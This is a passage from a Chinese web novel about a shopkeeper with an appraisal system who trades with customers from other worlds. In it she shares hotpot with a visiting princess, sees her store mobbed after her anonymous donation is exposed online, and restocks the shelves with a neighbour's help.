萧妧妧给了她一个白眼：“那你带回去再把它怎么着。这么好的东西在我眼前毁了，你当我有几颗心脏啊？” 系统估价红宝石项链价值5400万，光是那颗打磨光滑的红宝石主石，低于4000万都拿不下。 即便东西不属于她，萧妧妧也不忍心看到珍贵又精美的物件，在自己眼前被人糟蹋。 她拉过柳如烟的手，把红宝石项链塞回她手里。 “既然不喜欢了，那你带它来做什么？”萧妧妧没忍住吐槽。 柳如烟别别扭扭地侧身，“不识好人心，本宫是想告诉你，别看到绿的就当是宝贝，这世上的好东西多着呢，少被那个什么明月给骗了，她给你的东西可不算多好。” 萧妧妧噗呲一下笑了，原来是胜负欲作祟。 “才不是，本宫是担心你被人哄骗！”柳如烟大声辩驳。 她撸下手上颜色略显艳丽的紫翡镯子，不由分说地塞进萧妧妧手里。 “既然你喜欢翡翠，这镯子……本宫就赏给你吧，”柳如烟嘴巴上说得轻描淡写，实际在意的要死，紧盯着萧妧妧的表情，“铺子虽小，但格外有趣，本宫要多待一段时日。” “什么骗不骗的，礼物是她的心意。”而且还是战利品，匪窝里能扒出这两样值钱货实属难得。 柳如烟叉腰道：“哪怕是心意，本宫的心意也要比她的心意贵重。” “那我……多谢公主贵重的心意？” 萧妧妧迟疑一会，收下颇有份量的华丽紫翡镯子放在手心里摩挲，嘴角差点笑抽筋。 明明刚从柳如烟腕上摘下来，触之却冰凉，再看光泽，显然不常佩戴。 她几乎立刻确定，紫翡镯子是柳如烟特意挑出来给她的。 仔细端详它，紫翡镯子成色真不错，起刚了，颜色种水也没得挑，是纯正而浓郁的紫罗兰色，除了款式有点古朴，改造一下或许更适合当下人的审美。 系统给的估价也漂亮，高达2000万！ 萧妧妧啧啧出声，怎么越看越像是传说中的帝王紫？ 能得到系统2000万的估价绝对是好东西，柳如烟敢送，她就敢收。 见萧妧妧欣喜又爽快地接下镯子，没像那些人装模作样的假客套，柳如烟心情好极了。 “对了，你快帮本宫看看，”柳如烟喜滋滋坐回凳子上，扭两下找到舒服姿势，平板递到萧妧妧面前，“正看到精彩部分，怎么就不动了呢？” 萧妧妧接过平板一瞅，好家伙，这是迷上霸总短剧了，看到收费部分需要充值。 萧妧妧没忍住，肩头耸动片刻，等她笑完才用自己的账号开通付费。 柳如烟欢欢喜喜接过平板，边刷短剧边吐槽，“长头发的女人太坏了，那个男人可真傻，别人说什么信什么。” 萧妧妧看她拘束地坐在桌边，转身去库房挪来摇椅和懒人沙发。 小卖部要做生意，不好放太多东西，萧妧妧把它们放在屋后走廊下，招手示意柳如烟过来。 “凳子太硬坐着不舒服，摇椅和懒人沙发随你选。” 萧妧妧两个都演示一遍该怎么使用，随后起身让位置。 柳如烟一看到摇椅总能想到祖母，那是上了年纪的人喜欢用的，于是她屁股一扭坐进旁边的懒人单人沙发。 “哇……好舒服啊，萧老板，这个沙发你卖不卖？” 萧妧妧头也没回的说：“不卖，送你了。” 柳如烟甜甜地笑：“多谢萧老板。” 她学着萧妧妧的样子，试着将两条腿架在前面的脚凳上，整个人顿时像是陷进了云朵里。 柳如烟拍了拍蓬松的扶手，又拍了拍后面柔软的靠背，舒服的喟叹出声。 这可比寝宫里自在，在宫里她敢做出不雅的姿势，嬷嬷第一个不答应。 “萧老板！萧老板！沙发它、它会动！” 刚点开播放视频，等着看恶毒女二什么时候下线，柳如烟忽然感觉被人戳了脊梁骨。 前面两次因为追剧投入没反应过来，以为是错觉，直到那么那玩意开始疯了一样地捶她。 “啊啊啊啊啊，它打我！” 柳如烟又气又怕，抱着平板跳起来，指着懒人沙发委屈控诉。 萧妧妧以为出了什么事，跑回院中一看，哭笑不得。 “哦，那不是在打你，这是沙发的电动按摩功能，如果不喜欢可以关掉。” “按摩？”柳如烟语气质疑。 “对，我想想怎么解释……”萧妧妧捏着下巴思索：“类似你坐着看书，你的小宫女围着你捶腿敲背按脑袋。” 柳如烟松了一口气，这么说她就明白了。 “本宫当然知道什么是按摩……是它，下手太重了。” 她清清嗓子，为自己一惊一乍感到不好意思，描补两句，小心翼翼坐回去。 萧妧妧走到沙发侧面，关掉按摩功能，柳如烟满意了，翘着腿躺回去。 进门前，眼看着时间要到中午了，柳如烟不像是要回去的样子，转身询问过她是否有忌口。 柳如烟偏头探出半截身子，“萧老板要请本宫吃饭？好呀好呀。” 萧妧妧提前给她打预防针，“不是很名贵的食物，算是我们这里的特色，你就当尝尝鲜。” 柳如烟乖巧点头：“本宫不挑的，萧老板你不知道，陈松还请本宫吃土里扒出来的鸡，虽然看起来不怎么样，但是味道确实不错。” 她回味似的舔舔唇，也是从那次开始，信了陈松“食物不可貌相”的鬼话。 萧妧妧了然，应该是叫花鸡。 “那太复杂了，今天吃点方便的。”萧妧妧转身离开前，顺便提醒她，“对了，最好换一身简便的衣衫，免得油渍溅上去毁了你的衣裳。” 柳如烟的衣裳有成片成片的金丝银线，缀有宝石珍珠，袖口衣领处大片的雪白狐狸毛，弄脏弄坏都挺可惜的。 “知道了，这就回去换。”柳如烟很听劝，乖乖回去换衣服。 这套冬装是新做的，她喜欢得很，舍不得毁了它。 萧妧妧目送她回到自己的寝宫，不由轻笑，小姑娘挺可爱的，尤其好好说话的时候，乖乖巧巧，心都软了。 柳如烟更衣的时间有点久，再回来，萧妧妧刚摆好碗筷，圆桌中央的火锅咕嘟咕嘟冒着热气。 萧妧妧对食物追求不高，好吃就行，为了配得上柳如烟的身份，斥巨资点了一次价值千元的火锅外卖，菜品品质上乘，份量足够两人吃到撑。 柳如烟满脸期待的小跑进门，看到满满一桌的食物，好奇地打量。 萧妧妧邀请她坐下，递去油碟酱料碗，每夹起一道菜下锅里，便要教她怎么看熟没熟，怎么吃。 柳如烟看得目不暇接，她从没见过如此赤裸、未经烹饪的食材。 “原来这是鸡爪啊……可是真的能吃吗？” “脑花是什么，它看起来……哕。” “毛肚也能吃？可是它长得很丑哎……” “鱿鱼是什么鱼？牛板腱是哪里的肉？” 奇形怪状的食材陆续下锅，柳如烟举着筷子不知道从哪下手。 等锅底再次咕嘟咕嘟，嗅着香辣气息，口水不自觉分泌，柳如烟咬咬牙，决定拼了。 她撩起袖子，一筷子插进锅里，闭着眼随便一捞，夹了一块软烂的虎皮鸡爪上来。 望向对面的萧妧妧，已经涮了不知道多少片毛肚，吃得津津有味，柳如烟一狠心，吹凉鸡爪，缓缓送进嘴里。 “好软……萧老板，它好好吃！” 柳如烟像发现了新天地，开心地跺脚，一边嚷嚷着好吃好吃，一边伸手从锅里捞出剩下几个鸡爪鹅掌什么的。 “别吃太急，太烫的食物对身体不好，” 萧妧妧看她埋头狂吃，时不时抬头斯哈斯哈，提醒一句，推去自制的果茶方便她解辣。 她自己则更爱可乐，火锅和可乐，绝配！ 柳如烟含含糊糊地应声，辣得面颊涨红时，抱着冰镇橙汁喝个痛快。 “哇……萧老板，为什么你这里的饮子也这么好喝。” 柳如烟抹掉唇角溢出的水泽，睁大眼睛盯着冰冰凉冒水珠的玻璃杯子。 萧妧妧笑了笑：“喜欢喝下次再给你做。” 半杯橙汁兑半杯绿茶，再放半袋食用冰，是最简单的饮料了，萧妧妧怕她喝不惯可乐特意调的。 两人吃得畅快，平板放着辣耳朵的台词，女主挨了女配第N个巴掌的时候，她们忽然听到后门边上响起一阵吸气声。 两人不由自主侧头，就看到一个穿着类似帝政裙、手持琉璃灯，满脸惊惶的金发少女。 “萧老板，她眼睛是绿色的！” 【作者有话说】 感谢藏月水寒,灌溉营养液+2 69 第69章 ◎估价功能的妙用◎ 柳如烟审视少女片刻,随即警惕起来。 萧妧妧看了看结界，黑咕隆咚，似乎是一座古旧的城堡，阴森冷寂。 她的特征太明显,稍一回想,萧妧妧很快猜到少女出自何处。 应该是她看过的唯一一本西幻题材漫画,主人公是罗曼王国的公主伊迪斯,她被选中为祭品，在成年前夕送往密林中的神山,祭祀恶龙。 罗曼王国常年受到神山的恶龙侵扰，子民过着水深火热的生活。 临近恶龙苏醒下山觅食的节点,罗曼王室决定献祭公主一人，祈求恶龙不要下山作恶。 皇室只有一个明面上的公主,便是伊迪斯。 她不*愿意成为祭品，得到消息后带着女仆逃出皇宫,历经波折,主仆三人误入精灵王国,又经历一番波折后决定在那里定居,最后与精灵相恋的故事。 当然这是简介上写的,至于没写出来的部分，萧妧妧完全不知道是什么剧情。 漫画是月更，萧妧妧追着追着就把它忘了，记得故事梗概已经算她记性好,什么人物形象完全对不上号。 说回眼前的金发少女，恕她眼拙,实在看不出是女主还是女配或者是某个精灵。 就在萧妧妧犹豫要说hello还是wee时,金发少女倒吸一口凉气,转身就跑。 萧妧妧尴尬地放下打招呼的手，“……好吧，她好像有点怕我们。” 怕也是应该的，偌大古堡里出现一间风格迥异的店铺，店铺里坐着俩黑发黑眼的异族人类。 她们满口红油，兴致勃勃地倒下一碗红色鸭血，旁边十三寸的平板里，两个疯婆子一样的女人啪啪啪互扇巴掌。 乍一看，是有点吓人。 柳如烟：“萧老板，她也是你的客人？” 萧妧妧点头：“对，未来的客人。” 还没开始第一次交易，不算正经的顾客，系统不会显示顾客信息。 柳如烟打开了话匣子，暂停短剧，叭叭叭说起刚才的少女。 “她的裙子好奇怪哦，而且头发是金色……她为什么要跑啊，真是奇怪……” 萧妧妧时不时附和一句，小卖部热热闹闹了好一阵。 午饭过后，在萧妧妧的要求下，柳如烟不情不愿地一起收拾残局，清理完成，她说什么也不肯走，懒洋洋窝在沙发里玩平板，和网瘾少女没什么两样。 萧妧妧眼珠子一转，嘿嘿嘿笑，当即把看店重任交给柳如烟。 小卖部有自助模式，不需要特意招待顾客，古董铺开在巷子里，除了熟客上门，一上午连个进门溜达的人都没有。 唯一让她放不下的是异世界客人，正好柳如烟在，闲人利用。 有情况可以打电话，萧妧妧琢磨一下，也不是非要她留在店里不可。 柳如烟不知道听没听清，头也不抬的说：“知道啦知道啦，会给你打电话哒。”语气敷衍得很。 萧妧妧还是不放心，可想到苏娇娇和申明月很忙，短时间内不会上门，龙傲天被她拉黑，暂时没法出现，而新顾客估计还在瑟瑟发抖，更不会立刻出现。 萧妧妧盘算半天发现没什么好顾虑的，骑上史努比开开心心去银行。 预约的今天提前还贷，可以顺带把支票拿去银行取现，从此她就无债一身轻了。 自己开店虽然自由，但有一点不好，不能随心所欲说走就走，整个人像地缚灵一样绑在店里，总担心离开的工夫会错过大生意。 这也导致萧妧妧每天两点一线，尽忙着赚钱赚钱赚钱，史努比等红灯，看到商场大屏幕播放奢侈品广告时，她突然惊觉自己没能买买买，感受一把买东西不看价签的滋味。 网上下单囤积各种物资不能算在其中，这在她看来是进货。 她又看向另一边的商场，靓丽女孩们手挽着手，拎着大包小包出来，萧妧妧不由在心里计划，等腰不酸腿不疼了，她也要早早关了店门来消费。 萧妧妧正要收回目光，加速通过路口，余光忽然瞥见巷子口的古朴牌匾。 “吱——” “哎呀，怎么骑车的，走不走啊？” “会不会骑车啊？前面绿灯你搞什么啊。” 萧妧妧连声向周围人说抱歉，两腿蹬地划到一边。 她仰起头，看着路牌上写着“毛料交易市场”几个字，目光转移到路牌另一边，箭头指向隔壁街区，写着“李园古玩市场”几个字。 萧妧妧的心猛地一颤，一个念头如同闪电般划过她的脑海，一阵强烈的震撼和兴奋袭上心头。 系统估价功能可以扫描古董珠宝，换句话说，扫描翡翠原料进行估价同样是可行的？ 翡翠成品价格一直是上涨趋势，这也影响到了加工端，好料难求不说，价格跟着上涨。 只要她能捡漏一个做出成品，那就有得赚，而且是大赚。 当然，相比和异世界客人交换而言，这算是很麻烦的一个步骤，萧妧妧思忖片刻，觉得可以浅浅先尝试一次，再看情况决定。 不止是翡翠毛料，她要是在古玩市场走一圈，走哪扫哪，不就相当于拥有了无敌的作弊神器，可以轻松捡漏各种宝贝吗？ 萧妧妧心潮澎湃，大半天都没能平静下来，她恨不得立刻去交易市场闯荡。 身后滴滴滴的喇叭拉回她的注意力，萧妧妧定了定神，决定先去银行。 捡漏之前，充足的资金是至关重要的一环。 电视剧里演过，高品质的毛料动辄上百万，还不容易遇见，她手里的现金存款不过百多万，买点奢侈品过过瘾没问题，拿去买心仪的料子恐怕不够看。 绿灯再次亮起，萧妧妧加速前往银行，先还款再提现，她也算是享受到了VIP待遇。 两个业务办理完，时间不知不觉来到傍晚。 回去的路上，看着黑了灯的毛料市场，萧妧妧遗憾叹气，只能等下次了。 史努比慢悠悠回到小卖部，锁上车，进店，刚迈进门，萧妧妧诧异地停下脚步。 自助收银机前排了长长的队伍，每个人都拎着购物篮，篮子里塞得满当当。 她站着发呆的工夫，陆续有人进店，他们像NPC，流程高度相似，先是在门口拍照，再是进店选购。 小卖部什么时候有这么好的生意了？ 70 第70章 ◎小卖部成了网红店◎ “如烟,店里什么时候来得这么多人？” 萧妧妧扒开人群，一路跑到后院，神色惊奇又困惑。 院子里，柳如烟不知道刷到什么,整个人都红温了,猛地听到有人喊她名字,一时间没反应过来,好一会才抬起头，脸上保持着痴痴的笑意,两眼茫然望来。 “什么？什么这么多人？” 萧妧妧一看她这模样就知道白问。 如烟大帝成了网瘾少女，她罪孽深重啊。 她无语地指了指店铺,“店里，不知道什么时候来了好多人买东西,想问问你有没有注意到什么情况，现在看……” 现在看,柳如烟也是靠不住的,萧妧妧无奈摇头。 柳如烟一愣,放下脚丫子跑到门口探头探脑,没一会,似乎被店里热热闹闹的场景惊了一跳。 “发生什么事了？”满口答应要帮忙看店的柳如烟尴尬地缩了缩脖子，“对不起……” 萧妧妧摆摆手，“不是什么大事，只是有点好奇。” 小卖部的位置不错,位于景区附近，来往游客很容易看到它,但奇怪的是,店铺的生意一直冷冷清清,哪怕小卖部在张芸手里经营的时候，也没有特别好。 萧妧妧以为是装修的原因，比起连锁便利店，不倒闭小卖部不管从外面的门脸还是内里陈设，都有点十几年前的复古味。 老妈张芸不太乐意打理188号，开铺子也是不情不愿的，只是不想让王翠菊借题发挥，把院子搂走，所以并不上心，所有货架柜台等全是二手货。 萧妧妧接手后，是真心想把生意做起来，不惜借钱也要把铺子经营起来。 首先是装修这一块，吊顶重做，线路更换，装了很多大小灯，让铺子看起来亮堂堂，墙面全部粉刷一遍，看不到一点污痕。 原先的货架柜台她妈不舍得扔，萧妧妧考虑到成本问题，便没换，清洗干净继续使用，好在她精心布置后，看起来效果不错。 再就是选品，萧妧妧最关注这方面，借来的钱大多花在这里。 重新开业后，小卖部虽然还是古朴的，但至少不是陈旧且黑黢黢的，客流量比起装修前算是翻了两倍多。 可在短时间内，一下子涌来如此多的客人，萧妧妧总有种摸不着头脑的感觉。 柳如烟不知道情况，萧妧妧想了想跑去问问隔壁的刘叔。 “客人多还不好啊？你这孩子……赶紧上货吧，一天天的净瞎跑。” 刘叔撇撇嘴，棕榈扇在摊子上扑来扑去，赶走飞舞的苍蝇蚊虫。 得，不仅没问出来原因，还被教训了一顿。 萧妧妧挠着头回到店里，看着乌泱泱的人头，心里越发困惑。 这时，两个黄毛青年结伴进店，看到满屋子人，没忍住嚯了一声。 “这么多人啊……不是说古董铺吗？怎么……” “不能找错了吧？你看这店，哪里像是卖古董的样子。” 另一个红毛青年迟疑着在店里张望一圈，退到店门口。 两人正犹豫，看到货架边无所事事的萧妧妧，马上掏出手机上前搭话。 “妹子，问你一下，月牙巷的不破斋怎么走？就是卖古董的那个，网上明明说是188号，怎么成了小卖部啊？” 萧妧妧刚想问问排队的客人为什么一窝蜂的光顾小卖部，转头送来两个人。 她反问道：“你们找古董铺做什么？” 黄毛青年打量她，惊艳一瞬过后，语气温和的老实回答：“你没上网吧？这是网上很火的那个铺子，我们是来支持老板的。” 萧妧妧要蒙圈了，捐个《古文释读》，不至于吧？ 难道是热搜挂久了，发酵了，凑热闹过来打卡？ 也不是不可能，任何事物在网上有了流量，多得是数不清人的跟风。 红毛青年见她一脸问号，稀里糊涂的样子，便说：“你看看新闻吧。” 萧妧妧呆呆地掏出手机，想看看发酵成什么样了，黄毛青年忙问：“等等，美女你先告诉我们古董铺在哪啊，我们是要去买古董的。” 听到来生意了，萧妧妧立刻来劲，“古董铺啊，在后院，我领你们去。” 两边排队的顾客得知后面真有个古董铺，纷纷回头。 他们看评论区说，小卖部和古董铺是同一个老板开的，到达现场只看到小卖部，还有些纳闷呢，原来是藏在院子里。 有些好奇心重的人提着购物篮跟上。 萧妧妧打开古董铺的锁，推开门，做出请的手势。 “欢迎光临不破斋，请随意挑选~” 两个青年一愣一愣的，“您是铺子的老板，捐古籍和罪证的那个？” 萧妧妧看到后面跟来不少人，不由自主开启胡话模式，“我就是帮忙看店的，呵呵……” 俩青年哦了一声，失望地挪开视线，迈步进店。 没多久，萧妧妧听到他们再次“嚯”了一声。 “一万……卧槽。” “你看手串，麦丽素似的，三万！” 标价出乎青年的意料，他以为古董铺和街道上的古玩摊子一样，三五百买个青铜币或者鼻烟壶，七八千能买个青花盘子。 一进店，看到价牌，两人瞬间胆怯。 萧妧妧不知道该不该跟进去，踌躇之际，越来越多的人来到后院，惊得柳如烟顾不上沉迷网络。 “手串用的是好料子，您指着的那件是绿松石，三万的那件是碧玺，货真价实的东西，有C大的鉴定证书。”萧妧妧走上前介绍。 后进来的顾客听到这话，气势一变，缩手缩脚的在店里参观起来，生怕碰坏东西。 “我去，金枝玉叶啊，这是真的吗？” “应该吧……别管了，你先看看价牌，是万还是百万啊？小数点看不清。” “赶紧出去吧，店里人这么多，万一不小心碰坏哪样东西，那可真是赔都赔不起！” 窸窸窣窣的议论声逐渐传开，一些比较谨慎小心的顾客便开始有意识地避开人群，一步一挪往店外走。 萧妧妧同样心惊胆战，店里可都是货真价实的宝贝，不小心摔坏了哪一样都将是无法挽回的损失。 她顾不上招待客人，急忙把紫砂茶壶转移到柜子里，又紧张地探望一圈，检查哪些东西容易被磕碰。 好在顾客很有素质，被价格震惊到只是和同伴小声交流几句，匆匆去前面小卖部。 最先进来的红黄毛青年是最后离开的，两人把铺子转了一圈，嘀嘀咕咕好一会，不知道商量什么。 萧妧妧等了一会，两人似乎商量妥当，举手示意。 “你好，可以把那条绿松石手串包起来吗？” 萧妧妧诧异不已，看起来最不像消费者的黄毛青年没有讨价还价，干脆利落的扫码付账。 “帮忙包漂亮点，我想送给女朋友。”黄毛青年补充道。 萧妧妧应了一声，手串和鉴定证书、收据等一起装进礼盒，交给两人。 他们并没有立刻离开，转而去小卖部拿购物篮，穿梭在货架间疯狂扫货。 萧妧妧这会算是看明白了，两人不像是有需求来购物，更像是为了表达自己的支持，在经济范围内买了一堆东西。 萧妧妧看一眼空荡荡的货架，开始感到为难，忙上前劝阻大家。 “谢谢大家的支持，请理智购物，按需购买。” 她连着喊了几遍，回应的人寥寥无几，只一味地塞满购物篮。 萧妧妧见实在劝不动，越发想不通，到底发酵成什么样，未免太疯狂了。 没等她输入关键词搜索，热搜框里主动推送了新闻。 萧妧妧一眼分辨出来，这事绝对跟她有关。 “古籍捐赠者再次出手，珍贵史料大曝光！” “近日，曾捐赠给文字博物馆《古文释读》的古董店主再次捐赠了一样东西，谁都没想到，这样一个小小的录像带，揭开了侵略者费心掩藏的真实历史，成为有力罪证。” “古董店主匿名捐赠，晚报记者为流量曝光捐赠者信息，是否合理？” 新闻、热搜、短视频……不知不觉间，到处是萧妧妧捐赠侵略战争史料的新闻，不管切换几个APP，全是差不多的内容。 好家伙，合着是匿名失败了，萧妧妧找了个清静地方，戳开新闻看看到底怎么个事。 连着刷了几条新闻稿，萧妧妧才终于弄明白。 确实是匿名没错，只是没想到，捐赠的史料画面公布出来后稍微有点轰动，引起了几大主流媒体的注意，先后转发。 没多久，不知名小报发布新闻稿，公开匿名捐赠者的部分信息，博取大家眼球。 这一发布，属实震惊了不少人，原来领到140万悬赏金的好心人，和此次捐赠史料的捐赠者，竟是同一人，热度自此飙升。 两个事件前后脚发生，上一条热搜仍有余温，新的热搜已经发酵，热度可想而知，成倍的增加。 如此具有戏剧性的发展，引得多方报道，自媒体夸张的语气听得她两眼发黑。 萧妧妧看了看流传在网上的图片，有她说明情况的手写信，还有她领悬赏金留影的合照。 评论区，网友对她捐赠的行为夸赞之余，顺带谴责了记者的不道德，不顾及捐赠者意愿曝光隐私。 谴责的人是少数，大多数人很高兴能够曝光出来，他们不以为然，认为好人好事就该宣扬。 期间夹杂了一些叛逆发言，质疑店主作秀，为店铺招揽生意，利用两次捐赠事件扬名，方便以后直播带货。 萧妧妧翻了半天新闻，彻底麻木。 好半天后，她想起来去看店铺账号，不仅看到激增的粉丝数，还有成千上万的未读消息扑面而来。 萧妧妧抱着手机划拉半天，私信多到像没有尽头似的，根本划不到底，小红点占据大半屏幕。 粗略扫一眼，有对视频里的古董感兴趣的，有好奇她如何发现这些老物件的，有很多热心又阔绰的网友，听说她无偿捐赠，通过各种各样方式“捐款”，更有自称记者的人表示，希望能做一个简短的采访。 相比起来，从四面八方赶来小卖部，通过消费给予实际支持的网友数量不算多了。 萧妧妧感动于大家的热情与善良，同时有些哭笑不得。 昨天下午匿名寄件，今天上午便公布了录像带部分画面，午饭前后，记者查出她的信息并发布新闻稿。 傍晚时分，网友纷纷上门消费，有的是真消费，有的是来拍照打卡，架起支架等在店外直播的所谓网红们也不少见。 一切发生的太快了，小卖部成了网红店，源源不断上门的顾客打得萧妧妧措手不及。 选择匿名捐赠最主要的原因之一，就是担心引起过度关注，现在倒好，店里挤满人，网上的关注度不断攀升，流量大到她不知道怎么应对。 萧妧妧不禁苦恼起来，天天这样宾客盈门，以后怎么做其他位面的生意啊。 唉声叹气的时候，蜂拥而来的客人总算离去，留下一片狼藉。 并非是萧妧妧的劝阻起到了作用，而是那十几个货架被扫荡一空，大家找不到商品可买。 店外不断有人路过并试图进店，直到他们看到白得反光的货架，这才放弃，拍一张照片遗憾离开。 要不是她在陈列玛瑙玉髓的架子上贴了“非卖品”几个字，恐怕连她为异世界准备的商品都留不住。 等店里彻底没人，萧妧妧迅速关上大门，回身看到像洗劫过似的小卖部，一时间无话可说。 摇头叹息的时候，她看到后门旁边的长桌上留了一封信，贴在平板上。 “好可怕，本宫回宫了，记得给板板充电” 萧妧妧不禁哑然失笑，刚刚还担心异世界的客人受影响，转眼发现柳如烟早被吓跑了。 她深深地叹了口气，垮下肩膀。 先不提其他，单单把空荡荡的货架重新填满，就得耗费她不少时间。 萧妧妧认命的去仓库搬货，好不容易将饮料区的货架填充至一半，想要撂挑子的念头便开始在脑海里盘旋。 她再去看时间，即将7点，今晚要是偷懒，明天供货商上门只会变得更混乱。 “咚咚咚” 正当萧妧妧犯愁，小卖部的感应门被人敲响。 【作者有话说】 趁着过年偷懒很合理吧[可怜]下章周末发 感谢藏月水寒灌溉营养液 +9 [垂耳兔头][垂耳兔头] 70-80 71 第71章 ◎男子本刚，为狗则弱◎ “你怎么来了？” 萧妧妧听到敲门声,以为又是问询开业时间的网友，转头看到是换了一身运动装出门遛狗的黎行聿，意外了一瞬。 这么早出门遛狗，真难得。 她快步走到门边,左右张望片刻,没看到人过来才敢打开一条门缝。 大王是条E狗,呲溜一下钻进来,吐着舌头欢快扑到她身上。 萧妧妧接住狗子，撸两下狗头算是和它打招呼,注意到黎行聿在打量店铺，出声解释。 “抱歉,店里面有点乱，”她踢开门边几个货箱,方便他们进门，“你要买什么？我帮你找找,只是……不一定有货。” 供货商最快答应可以今晚送货,但萧妧妧扛不住。 爬一次山,身体到今天都没能缓解酸疼感,再忙着搬货卸货补充货架,萧妧妧怀疑自己彻底要废掉，没敢把送货时间定在今晚。 黎行聿拍拍它狗头，让它安静些，缓缓说：“不是买东西,大王它闹着要来找你玩，停在门外拽不走。” 看到他略带歉意的神情,萧妧妧这才低头,注意力放在围着她团团转的狗子身上。 大王确实很喜欢和她玩,每次见她总是热情扑来蹭她，只是没看出来还挺倔强。 萧妧妧指着身后，无奈耸肩：“我很欢迎大王过来玩，可……” 黎行聿顺着她视线望过去，柜台边空纸箱叠了七八个，货架只摆了一半不到。 “店里出什么事了？” 萧妧妧更无奈了，肩膀不自觉垮下来，“唉……说来话长。” 见她不打算细说，黎行聿没再追问，示意脚边几摞货箱，“这些都要摆上货架？” “差不多吧，所以今天没时间和大王玩了。”回应黎行聿一句，萧妧妧趁机撸了一把狗头，捧起狗脸说：“乖乖回家，下次姐姐给你带饼干。” 威风凛凛的大王听懂了她的话，立刻挤出委屈巴巴的哭丧脸，不甘心地拱过来，两爪抱着她的腿不肯撒手。 萧妧妧不知道自己竟然这么讨狗子喜欢，赶紧把它扒下来。 一人一狗正闹腾着，萧妧妧忽然听到旁边窸窸窣窣的动静。 扭头一看，黎行聿蹲在纸箱旁，捡起美工刀一个一个拆箱。 萧妧妧瞪大眼睛，不敢相信自己看到的画面。 “这些要放在第一排货架上？” 黎行聿察觉到她的目光，从箱子里提出一瓶饮料，晃了晃瓶子向她询问。 “等等，你在做什么。”萧妧妧手忙脚乱的扒拉开大王，跳过空箱子来到货架边，夺走他手里的饮料。 黎行聿用理所当然的语气说：“帮你补货啊。” “不行不行，怎么能让你动手。” 萧妧妧唰的一下脸红，这也太不好意思了，自己当老板的和狗子玩，顾客却在帮忙理货。 “大王第一次出远门，在南市没有朋友，这几天闷闷不乐，有时候又特别烦躁，安静不下来，只有看到你会好一点，我想让你帮我陪陪大王，做为交换，我帮你补货。” 大王眼珠子一转，听明白主人在给它泼脏水，呜呜几声表示抗议。 萧妧妧眉头轻拧，听起来对她而言是天上掉馅饼的好事，只是她没脸皮厚到指使顾客干活的程度。 萧妧妧：“举手之劳，补货就不必了。” 黎行聿拒绝了她的拒绝，他利落地拆箱，对准货架上的标签，依次把箱子里的商品摆放到对应位置，再摆正商品的包装，看起来有模有样。 “如果你觉得不合适，大王留在这里影响你工作，我可以带它回去。” 大王又听懂了，不仅不能出门遛弯，还不能和好朋友玩耍，满脸不可置信的样子瞪向黎行聿。 萧妧妧连忙摆手：“不不不，我不是那个意思……” “这个要放在哪一层？”黎行聿自顾自的忙碌着。 “第三层，”萧妧妧下意识回答，顿了顿，她尴尬地说：“你是客人，我不能让你动手。” 黎行聿找到第三层货架，三两下把箱子里的水全部挪上去，他拎起空纸箱递给萧妧妧。 “可以帮我把它扔过去吗？谢谢。” 萧妧妧想说什么，又被打断，黎行聿没有接她的话，头也不抬的继续忙，她只好接过纸箱乖乖堆到柜台旁边。 “没几箱货了，仓库在哪里？我去多搬一点过来。” 萧妧妧想赶在他前面动手，黎行聿按住她肩膀轻轻推开她。 “告诉我在哪里就好。” 萧妧妧站在原地傻眼，“在、在旁边。” 也不能真让他一个人干，萧妧妧见阻止不了他，赶紧冲上去帮忙。 黎行聿动作干净利落，有他在补货速度飞快。 忙着忙着，看到面前满当当的货架，萧妧妧恍惚了片刻，不禁挠了挠后脑勺。 这事闹得，本来想让他别管，稀里糊涂的，最后变成两人搭档干活。 她看向另一边，身形高挑的成年男人挤在不算宽敞的货架间，动作稍显拘束，但不影响他干活速度，三两下便把怀里一箱抽纸转移到货架顶部。 萧妧妧时不时偷眼瞄过去，货架上整整齐齐不说，连价签都贴得端端正正，货品商标正对外侧，强迫症都挑不出毛病。 “哪里摆错了吗？” 黎行聿捕捉到她打量的目光，一次两次更多次，忍不住问出口。 萧妧妧拨浪鼓似的摇头：“没有没有。” 黎行聿轻笑，“那就拜托你再摸摸大王，它跟在你身边半天了。” 萧妧妧又是一呆，转头看向身后，这才发现大王同样没闲着，前爪搭着纸箱，后爪蹬地，磕磕绊绊当起搬运工。 好家伙，不仅使唤顾客，连顾客的狗来了都得干活。 萧妧妧老脸一红，放下手里东西，蹲下身，一把揽过大王，又是揉脑袋又是搓耳朵。 大王撒娇一样贴过来，看起来凶巴巴的捷克狼犬意外的有些憨。 萧妧妧笑了笑，调侃道：“男子本刚，为狗则弱。真看不出来，你是会为了狗子出卖苦力的人。” 黎行聿动作稍顿，目光下移，看到一脸满足的大王，哑口无言。 “……大王看家护院立过功，家里人都很喜欢它。”黎行聿好一会才接话。 萧妧妧好奇，走到他身边一起整理货架，边忙边与他闲聊，“能说说是什么功吗？” 黎行聿见她感兴趣，便说起大王是如何单打独斗，既保护了主人，又捉住了偷古董的家贼，直到警察上门才松开小偷的裤腿的丰功伟绩。 随着他的讲述，大王高高昂起狗头，骄傲得汪汪叫。 萧妧妧听得咋舌，什么家庭啊，单独买下一套院子存放家里的古董艺术品，还配备了保安团队，最扯得是保安监守自盗。 “你们有钱人的生活还挺抓马的。”萧妧妧吐槽。 黎行聿轻笑，没反驳她的吐槽。 萧妧妧被轻笑声提醒，意识到当面吐槽不合适，清清嗓子转开话题。 有一搭没一搭的闲聊，夹杂几句问询，需要在今晚摆上货架的商品全部整齐上架。 有黎行聿帮忙，晚上不到9点，工作已然结束。 萧妧妧成就感爆棚，叉腰扫视品类丰富的货架、冷冻柜，心满意足地伸懒腰。 胳膊刚伸过头顶，咔咔一声，身上骨头造反似的连着响。 她嘶嘶吸气，捶着腰背蹲下休息。 黎行聿把摞起的空纸箱搬到后院，回到柜台边擦干净手，就看到蹲在地上的一人一狗。 “累了？” 萧妧妧仰头，逞强说：“这点活怎么会累，是爬山拉伤肌肉，有点酸。” 黎行聿要说什么，萧妧妧唰的一下起身，眼睛晶亮。 “我们去泡脚吧！” “要不要去按摩？我听说过一家很不错的会馆。” 清脆和低沉的嗓音先后响起，话落，两人同时愣住。 黎行聿看她呆呆的模样笑出声，接着问：“怎么样，要不要去？” 萧妧妧看一眼时间，说早不早说晚不晚。 “我请你吧，既然你是第一次来南市，怎么能不体验一下我们这里的特色。” 就当是感谢他付出的劳动，三四十箱货全是黎行聿帮忙搬出来，出了不少力呢，刚才看他身上蹭到不少灰痕，连衣服都弄脏了，萧妧妧心里过意不去。 “好啊，远不远？我去取车。”黎行聿笑着回应。 大王听到要出门，欢快地跳起来，左看看右看看，等着他们牵起牵引绳带它出去玩。 萧妧妧连忙拦住他：“不用不用，就在月牙巷附近，走路过去更方便。” 